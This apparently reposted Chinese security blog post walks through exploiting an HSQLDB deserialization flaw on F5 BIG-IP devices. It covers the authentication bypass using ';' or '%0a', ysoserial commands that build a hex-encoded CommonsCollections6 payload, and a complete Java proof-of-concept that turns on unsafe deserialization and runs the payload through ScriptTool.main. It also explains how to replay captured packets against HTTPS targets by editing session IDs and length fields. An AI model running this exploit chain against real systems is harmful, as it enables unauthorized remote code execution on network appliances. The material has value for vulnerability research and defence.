HSQLDB反序列化
2021-09-08 19:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:196 收藏

本文约2800字,阅读约需6分钟。

在某次项目碰到HSQLDB,第一时间想到使用网络公开的POC,但是利用失败——失败原因是因为F5使用了"https"导致HSQLDB连接失败。

这难道能难倒我吗?既然此路不通,那我就用本地复现抓取利用成功的包,进行"https"网站的复现。

话不多说,直接开工。

1
hsqldb反序列化

2020年07月08日,F5官方更新了“F5 BIG-IP”远程代码执行的风险通告,更新了“httpd”的补丁。

include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '

改为:

include ' <LocationMatch ";"> Redirect 404 / </LocationMatch> '

然而这样依然可以被绕过,使用“%0a”,也是因为tomcat的处理和apache的差异所导致的。

通过”;“或者“%0a”直接访问HSQLDB来绕过身份验证,从而通过org.hsqldb.util.ScriptTool.main反序列化了以ASCII十六进制字符串造成反序列化漏洞,不过该反序列化攻击需要HSQLDB没有设置密码。我们直接访问HSQLDB,显示默认页:

而利用”;“或者“%0a”,可以造成权限绕过。

使用网络公开的工具进行攻击会直接失败,而失败原因是因为F5使用了"https"导致。

2
本地复现

首先,需要下载好环境:

“https://github.com/longofo/hsqldb-source

https:/archive.apache.org/dist/tomcat/tomcat-7/v7.0.105/bin/apache-tomcat-7.0.105.zip”

然后使用idea,加载下载的HSQLDB:

Run之后会跳转浏览器:

http://localhost:8080/hsqldb_war/;

访问漏洞页面:

3
本地验证

生成payload:

“java -jar ysoserial.jar CommonsCollections6 "open -a calculator" > nc.class”


使用ysoserial生成POC,这里使用的payload是:

“CommonsCollections6
xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex”


生成十六进制编码的POC,
使用idea运行POC:

import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; import java.nio.file.Files; import java.nio.file.Paths; import java.io.IOException; import org.hsqldb.lib.StringConverter;  public class F5RCE {      public static void main(String[] args) {         Connection connection;         Statement statement;         String pfile = "";#payload的路径          String payload = null;         try {             payload = new String(Files.readAllBytes(Paths.get(pfile)));             payload = payload.replaceAll("(\\n|\\r)","");         } catch (IOException e) {             e.printStackTrace();         }          String dburl = "jdbc:hsqldb:http://localhost:8080";#目标地址          try {             Class.forName("org.hsqldb.jdbcDriver");             connection = DriverManager.getConnection(dburl, "sa","");             statement = connection.createStatement();             statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");             statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");         } catch (java.sql.SQLException sqle) {             // ignore java.sql.SQLException: S1000             // General error java.lang.IllegalArgumentException: argument type mismatch             if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {                 System.out.println("Payload executed");             } else {                 System.out.println("Unexpected SQL error");                 sqle.printStackTrace();             }             return;         }         catch (ClassNotFoundException cne) {             System.err.println("Error loading db driver");             cne.printStackTrace();             return;         }     } }

主要修改两个地方,一个是payload的路径,一个是目标地址:

Run F5RCE:

打下dnslog:

4
实战

首先使用wireshark本地抓取数据包,有三个关键数据包:

这三个数据包分别对应以下三个过程:

第一个包进行认证(需要HSQLDB没有设置密码);

第二个包开启不安全的反序列化;

第三个包通过org.hsqldb.util.ScriptTool.main进行反序列化十六进制字符串。

接下来重放数据包:

1.认证获得sessionID,这里hex值是00 00 00 5f;

2.将第二个请求包的sessionID修改为第一步的sessionID,返回java.lang.Stringtrue证明命令执行成功;

3.第三个包直接复制粘贴新的payload,然后修改sessionID和数据包部分命令长度,就可以执行成功。

从call开始复制到最后,计算长度,并转换成十六进制,这里长度为2651,转换为十六进制就是0a5b。

计算长度:

然后修改数据包部分命令长度。在hex中找到6361,在6361前面就是长度,重放以后,可能还会报错,因为总长度的hex值没有修改,比如这里是2659,转换成十六进制是0a63:

dnslog收到请求:

5
结语

在实战中,主要在3个数据包中修改对应的hex值,某些不一致就会导致返回错误,对于工具验证不了的漏洞,可以进行手工验证。

整套过程走下来,感觉自己像是战争中的侦察兵。找到敌人是第一步,接下来我们更要分析敌人、消灭敌人。在守卫网络安全的道路上,我们始终在前进。

- END -

长按下方图片即可关注


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247492184&idx=1&sn=f015a09a732eb09625169a116c91d9b6&chksm=9b3ac4e9ac4d4dff1f3f85eb4c50774b6cfa69541610b16c3083c2ac7801188e60c8925950ea#rd
如有侵权请联系:admin#unsafe.sh